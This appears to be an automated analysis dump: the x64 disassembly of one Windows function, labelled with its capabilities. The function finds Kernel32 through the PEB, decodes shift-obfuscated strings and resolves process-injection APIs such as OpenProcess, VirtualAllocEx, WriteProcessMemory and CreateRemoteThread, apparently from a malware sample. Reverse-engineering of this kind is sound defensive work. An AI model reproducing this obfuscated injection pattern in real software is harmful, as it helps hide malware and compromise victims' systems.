Function at 0x140025170
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x1b8]
sub rsp, 0x2a0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x14003c008]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov r14, qword gs:[0x60]
xor ebx, ebx
test r14, r14
jne 0x1400251bb
mov esi, ebx
jmp 0x1400251fe
mov rax, qword [r14 + 0x18]
mov rsi, qword [rax + 0x20]
mov rdi, rsi
nop word [rax + rax]
mov rcx, qword [rsi + 0x50]
lea rdx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400251fa
mov rdi, qword [rdi]
mov rax, qword [r14 + 0x18]
mov rsi, qword [rdi]
cmp rdi, qword [rax + 0x20]
jne 0x1400251d0
mov rsi, rbx
jmp 0x1400251fe
mov rsi, qword [rsi + 0x20]
mov eax, dword [0x140039958]
movsd xmm0, qword [str.QtfiQngwfwF]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x14003995c]
mov byte [rbp - 0x1c], al
mov rax, rbx
movsd qword [rbp - 0x28], xmm0
add byte [rbp + rax - 0x28], 0xfb
inc rax
cmp rax, 0xc
jl 0x140025221
lea rdx, [rbp - 0x28]
mov rcx, rsi
call fcn.140024fa0
mov ecx, dword [0x140039968]
mov r15, rax
movsd xmm0, qword [str.LjyUwthFiiwjxx]
mov dword [rbp - 0x60], ecx
movzx ecx, word [0x14003996c]
mov word [rbp - 0x5c], cx
movzx ecx, byte [0x14003996e]
mov byte [rbp - 0x5a], cl
mov rcx, rbx
movsd qword [rbp - 0x68], xmm0
nop dword [rax]
add byte [rbp + rcx - 0x68], 0xfb
inc rcx
cmp rcx, 0xe
jl 0x140025270
lea rdx, [rbp - 0x68]
mov rcx, rsi
call fcn.140024fa0
movzx ecx, word [0x140039978]
lea rdx, [rsp + 0x20]
movsd xmm0, qword [str.HwjfyjUnuj]
mov r14, rax
movsd qword [rsp + 0x20], xmm0
add byte [rsp + 0x20], 0xfb
add byte [rsp + 0x21], 0xfb
add byte [rsp + 0x22], 0xfb
add byte [rsp + 0x23], 0xfb
add byte [rsp + 0x24], 0xfb
add byte [rsp + 0x25], 0xfb
add byte [rsp + 0x26], 0xfb
add byte [rsp + 0x27], 0xfb
mov word [rsp + 0x28], cx
movzx ecx, byte [0x14003997a]
add byte [rsp + 0x28], 0xfb
add byte [rsp + 0x29], 0xfb
mov byte [rsp + 0x2a], cl
mov rcx, rsi
call r14
mov eax, dword [0x140039988]
movsd xmm0, qword [str.UjjpSfrjiUnuj]
mov dword [rbp + 0x20], eax
movzx eax, word [0x14003998c]
mov word [rbp + 0x24], ax
mov rax, rbx
movsd qword [rbp + 0x18], xmm0
nop dword [rax]
nop word [rax + rax]
add byte [rbp + rax + 0x18], 0xfb
inc rax
cmp rax, 0xd
jl 0x140025320
lea rdx, [rbp + 0x18]
mov rcx, rsi
call r14
movsd xmm0, qword [str.TujsUwthjxx]
lea rdx, [rsp + 0x68]
mov eax, dword [0x140039998]
mov rcx, rsi
movsd qword [rsp + 0x68], xmm0
add byte [rsp + 0x68], 0xfb
add byte [rsp + 0x69], 0xfb
add byte [rsp + 0x6a], 0xfb
add byte [rsp + 0x6b], 0xfb
add byte [rsp + 0x6c], 0xfb
add byte [rsp + 0x6d], 0xfb
add byte [rsp + 0x6e], 0xfb
add byte [rsp + 0x6f], 0xfb
mov dword [rsp + 0x70], eax
add byte [rsp + 0x70], 0xfb
add byte [rsp + 0x71], 0xfb
add byte [rsp + 0x72], 0xfb
call r14
movups xmm0, xmmword [str.HwjfyjWjrtyjYmwjfi]
mov edi, 0x10
mov qword [0x14003dc28], rax
movdqa xmm6, xmmword [0x140039bc0]
movzx eax, word [0x1400399b0]
psubb xmm0, xmm6
mov word [rbp + 0x38], ax
movzx eax, byte [0x1400399b2]
mov byte [rbp + 0x3a], al
mov eax, edi
movdqu xmmword [rbp + 0x28], xmm0
nop dword [rax]
add byte [rbp + rax + 0x28], 0xfb
inc rax
cmp rax, 0x12
jl 0x1400253d0
lea rdx, [rbp + 0x28]
mov rcx, rsi
call r14
movups xmm0, xmmword [str._nwyzfqUwtyjhyJ]
mov qword [0x14003dc40], rax
lea rdx, [rbp + 0x138]
movzx eax, byte [0x1400399c8]
mov rcx, rsi
psubb xmm0, xmm6
mov byte [rbp + 0x148], al
movdqu xmmword [rbp + 0x138], xmm0
call r14
movups xmm0, xmmword [str.wnyjUwthjxxRjrtw]
mov qword [0x14003dc10], rax
movzx eax, word [0x1400399e0]
mov word [rbp + 0x50], ax
psubb xmm0, xmm6
movzx eax, byte [0x1400399e2]
mov byte [rbp + 0x52], al
mov rax, rdi
movdqu xmmword [rbp + 0x40], xmm0
nop dword [rax + rax]
add byte [rbp + rax + 0x40], 0xfb
inc rax
cmp rax, 0x12
jl 0x140025450
lea rdx, [rbp + 0x40]
mov rcx, rsi
call r14
movsd xmm0, qword [str.HtuKnqjF]
lea rdx, [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
mov rcx, rsi
add byte [rsp + 0x48], 0xfb
add byte [rsp + 0x49], 0xfb
add byte [rsp + 0x4a], 0xfb
add byte [rsp + 0x4b], 0xfb
add byte [rsp + 0x4c], 0xfb
add byte [rsp + 0x4d], 0xfb
add byte [rsp + 0x4e], 0xfb
add byte [rsp + 0x4f], 0xfb
mov qword [0x14003dc20], rax
movzx eax, word [0x1400399f0]
mov word [rsp + 0x50], ax
add byte [rsp + 0x50], 0xfb
call r14
movsd xmm0, qword [str._nwyzfqFqqthJ]
mov qword [0x14003dc08], rax
mov eax, dword [0x140039a00]
mov dword [rbp - 0x50], eax
movzx eax, word [0x140039a04]
mov word [rbp - 0x4c], ax
movzx eax, byte [0x140039a06]
mov byte [rbp - 0x4a], al
mov rax, rbx
movsd qword [rbp - 0x58], xmm0
nop word [rax + rax]
add byte [rbp + rax - 0x58], 0xfb
inc rax
cmp rax, 0xe
jl 0x140025500
lea rdx, [rbp - 0x58]
mov rcx, rsi
call r14
movups xmm1, xmmword [str.HwjfyjYttqmjqu87Xsfuxmty]
mov qword [0x14003dc00], rax
movzx eax, byte [0x140039a20]
movsd xmm0, qword [0x140039a18]
psubb xmm1, xmm6
mov byte [rbp + 0xf8], al
mov rax, rdi
movdqu xmmword [rbp + 0xe0], xmm1
movsd qword [rbp + 0xf0], xmm0
nop dword [rax]
nop word [rax + rax]
add byte [rbp + rax + 0xe0], 0xfb
inc rax
cmp rax, 0x18
jl 0x140025560
lea rdx, [rbp + 0xe0]
mov rcx, rsi
call r14
movsd xmm0, qword [str.HqtxjMfsiqj]
lea rdx, [rsp + 0x78]
movsd qword [rsp + 0x78], xmm0
mov rcx, rsi
add byte [rsp + 0x78], 0xfb
add byte [rsp + 0x79], 0xfb
add byte [rsp + 0x7a], 0xfb
add byte [rsp + 0x7b], 0xfb
add byte [rsp + 0x7c], 0xfb
add byte [rsp + 0x7d], 0xfb
add byte [rsp + 0x7e], 0xfb
add byte [rsp + 0x7f], 0xfb
mov qword [0x14003dbf8], rax
mov eax, dword [0x140039a30]
mov dword [rbp - 0x80], eax
add byte [rbp - 0x80], 0xfb
add byte [rbp - 0x7f], 0xfb
add byte [rbp - 0x7e], 0xfb
call r14
movups xmm0, xmmword [str.LjyRtizqjKnqjSfrjF]
mov qword [0x14003dc48], rax
movzx eax, word [0x140039a48]
mov word [rbp + 0x68], ax
psubb xmm0, xmm6
movzx eax, byte [0x140039a4a]
mov byte [rbp + 0x6a], al
mov rax, rdi
movdqu xmmword [rbp + 0x58], xmm0
nop word [rax + rax]
add byte [rbp + rax + 0x58], 0xfb
inc rax
cmp rax, 0x12
jl 0x140025610
lea rdx, [rbp + 0x58]
mov rcx, rsi
call r14
movsd xmm0, qword [str.qxywhfyF]
lea rdx, [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
mov rcx, rsi
add byte [rsp + 0x38], 0xfb
add byte [rsp + 0x39], 0xfb
add byte [rsp + 0x3a], 0xfb
add byte [rsp + 0x3b], 0xfb
add byte [rsp + 0x3c], 0xfb
add byte [rsp + 0x3d], 0xfb
add byte [rsp + 0x3e], 0xfb
add byte [rsp + 0x3f], 0xfb
mov qword [0x14003dc30], rax
movzx eax, byte [0x140039a58]
mov byte [rsp + 0x40], al
call r14
mov eax, dword [0x140039a68]
movsd xmm0, qword [str.HwjfyjUwthjxx_]
mov dword [rbp - 0x40], eax
movzx eax, word [0x140039a6c]
mov word [rbp - 0x3c], ax
movzx eax, byte [0x140039a6e]
mov byte [rbp - 0x3a], al
mov rax, rbx
movsd qword [rbp - 0x48], xmm0
nop dword [rax]
add byte [rbp + rax - 0x48], 0xfb
inc rax
cmp rax, 0xe
jl 0x1400256b0
lea rdx, [rbp - 0x48]
mov rcx, rsi
call r14
mov eax, dword [0x140039a78]
movsd xmm0, qword [str.HwjfyjUwthjxxF]
mov dword [rbp - 0x30], eax
movzx eax, word [0x140039a7c]
mov word [rbp - 0x2c], ax
movzx eax, byte [0x140039a7e]
mov byte [rbp - 0x2a], al
mov rax, rbx
movsd qword [rbp - 0x38], xmm0
nop word [rax + rax]
add byte [rbp + rax - 0x38], 0xfb
inc rax
cmp rax, 0xe
jl 0x140025700
lea rdx, [rbp - 0x38]
mov rcx, rsi
call r14
mov eax, dword [0x140039a88]
movsd xmm0, qword [str.HwjfyjRzyj_]
mov dword [rbp - 0x10], eax
movzx eax, byte [0x140039a8c]
mov byte [rbp - 0xc], al
mov rax, rbx
movsd qword [rbp - 0x18], xmm0
nop dword [rax + rax]
add byte [rbp + rax - 0x18], 0xfb
inc rax
cmp rax, 0xc
jl 0x140025740
lea rdx, [rbp - 0x18]
mov rcx, rsi
call r14
movups xmm0, xmmword [str.XjyMfsiqjNsktwrfynts]
mov qword [0x14003dc18], rax
mov eax, dword [0x140039aa0]
mov dword [rbp + 0x98], eax
psubb xmm0, xmm6
movzx eax, byte [0x140039aa4]
mov byte [rbp + 0x9c], al
mov rax, rdi
movdqu xmmword [rbp + 0x88], xmm0
nop
add byte [rbp + rax + 0x88], 0xfb
inc rax
cmp rax, 0x14
jl 0x140025790
lea rdx, [rbp + 0x88]
mov rcx, rsi
call r14
movzx eax, word [0x140039ab8]
movups xmm0, xmmword [str.YjwrnsfyjOtgTgojhy]
mov word [rbp + 0x80], ax
movzx eax, byte [0x140039aba]
psubb xmm0, xmm6
mov byte [rbp + 0x82], al
movdqu xmmword [rbp + 0x70], xmm0
mov rax, rdi
nop dword [rax]
add byte [rbp + rax + 0x70], 0xfb
inc rax
cmp rax, 0x12
jl 0x1400257e0
lea rdx, [rbp + 0x70]
mov rcx, rsi
call r14
movups xmm0, xmmword [str.HwjfyjOtgTgojhy_]
movzx eax, byte [0x140039ad0]
lea rdx, [rbp + 0x150]
mov rcx, rsi
mov byte [rbp + 0x160], al
psubb xmm0, xmm6
movdqu xmmword [rbp + 0x150], xmm0
call r14
movups xmm1, xmmword [str.WixMrjsvqexmsrNsfSfnigx]
mov rax, rdi
movdqa xmm6, xmmword [0x140039bb0]
movsd xmm0, qword [0x140039ae8]
psubb xmm1, xmm6
movdqu xmmword [rbp + 0x120], xmm1
movsd qword [rbp + 0x130], xmm0
nop dword [rax]
nop word [rax + rax]
add byte [rbp + rax + 0x120], 0xfc
inc rax
cmp rax, 0x17
jl 0x140025860
lea rdx, [rbp + 0x120]
mov rcx, rsi
call r14
movzx eax, byte [0x140039b08]
movups xmm1, xmmword [str.EwwmkrTvsgiwwXsNsfSfnigx]
mov byte [rbp + 0x118], al
mov rax, rdi
movsd xmm0, qword [0x140039b00]
psubb xmm1, xmm6
movsd qword [rbp + 0x110], xmm0
movdqu xmmword [rbp + 0x100], xmm1
add byte [rbp + rax + 0x100], 0xfc
inc rax
cmp rax, 0x18
jl 0x1400258b1
lea rdx, [rbp + 0x100]
mov rcx, rsi
call r14
movsd xmm0, qword [str.HipixiJmpiE]
lea rdx, [rbp - 0x78]
mov eax, dword [0x140039b18]
mov rcx, rsi
movsd qword [rbp - 0x78], xmm0
add byte [rbp - 0x78], 0xfc
add byte [rbp - 0x77], 0xfc
add byte [rbp - 0x76], 0xfc
add byte [rbp - 0x75], 0xfc
add byte [rbp - 0x74], 0xfc
add byte [rbp - 0x73], 0xfc
add byte [rbp - 0x72], 0xfc
add byte [rbp - 0x71], 0xfc
mov dword [rbp - 0x70], eax
add byte [rbp - 0x70], 0xfc
add byte [rbp - 0x6f], 0xfc
add byte [rbp - 0x6e], 0xfc
call r14
movups xmm0, xmmword [str.GviexiHmvigxsvE]
movzx eax, byte [0x140039b30]
lea rdx, [rbp + 0x168]
mov rcx, rsi
mov byte [rbp + 0x178], al
psubb xmm0, xmm6
movdqu xmmword [rbp + 0x168], xmm0
call r14
movups xmm1, xmmword [str.KixTvsgiwwQmxmkexmsrTspmg]
mov qword [0x14003dc38], rax
movzx eax, word [0x140039b50]
movsd xmm0, qword [0x140039b48]
psubb xmm1, xmm6
mov word [rbp + 0xb8], ax
movzx eax, byte [0x140039b52]
mov byte [rbp + 0xba], al
mov rax, rdi
movsd qword [rbp + 0xb0], xmm0
movdqu xmmword [rbp + 0xa0], xmm1
add byte [rbp + rax + 0xa0], 0xfc
inc rax
cmp rax, 0x1a
jl 0x140025990
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call r14
movzx eax, word [0x140039b70]
movups xmm1, xmmword [str.WixTvsgiwwQmxmkexmsrTspmg]
mov word [rbp + 0xd8], ax
movsd xmm0, qword [0x140039b68]
movzx eax, byte [0x140039b72]
psubb xmm1, xmm6
movdqu xmmword [rbp + 0xc0], xmm1
mov byte [rbp + 0xda], al
movsd qword [rbp + 0xd0], xmm0
nop dword [rax]
add byte [rbp + rdi + 0xc0], 0xfc
inc rdi
cmp rdi, 0x1a
jl 0x1400259f0
lea rdx, [rbp + 0xc0]
mov rcx, rsi
call r14
mov eax, dword [str.Wpiit]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], eax
mov rcx, rsi
movzx eax, word [0x140039b78]
add byte [rsp + 0x30], 0xfc
add byte [rsp + 0x31], 0xfc
add byte [rsp + 0x32], 0xfc
add byte [rsp + 0x33], 0xfc
mov word [rsp + 0x34], ax
add byte [rsp + 0x34], 0xfc
call r14
mov eax, dword [0x140039b88]
movsd xmm0, qword [str.Ehzetm762hpp]
mov dword [rbp], eax
movzx eax, byte [0x140039b8c]
mov byte [rbp + 4], al
mov rax, rbx
movsd qword [rbp - 8], xmm0
nop dword [rax + rax]
add byte [rbp + rax - 8], 0xfc
inc rax
cmp rax, 0xc
jl 0x140025a70
lea rcx, [rbp - 8]
call r15
mov ecx, dword [0x140039b98]
movsd xmm0, qword [str.KixYwivReqiE]
mov dword [rbp + 0x10], ecx
movzx ecx, byte [0x140039b9c]
mov byte [rbp + 0x14], cl
movsd qword [rbp + 8], xmm0
nop word [rax + rax]
add byte [rbp + rbx + 8], 0xfc
inc rbx
cmp rbx, 0xc
jl 0x140025ab0
lea rdx, [rbp + 8]
mov rcx, rax
call r14
movsd xmm0, qword [str.Spi762hpp]
lea rcx, [rsp + 0x58]
movzx eax, word [0x140039ba8]
movsd qword [rsp + 0x58], xmm0
add byte [rsp + 0x58], 0xfc
add byte [rsp + 0x59], 0xfc
add byte [rsp + 0x5a], 0xfc
add byte [rsp + 0x5b], 0xfc
add byte [rsp + 0x5c], 0xfc
add byte [rsp + 0x5d], 0xfc
add byte [rsp + 0x5e], 0xfc
add byte [rsp + 0x5f], 0xfc
mov word [rsp + 0x60], ax
add byte [rsp + 0x60], 0xfc
call r15
xor eax, eax
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140025b60
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret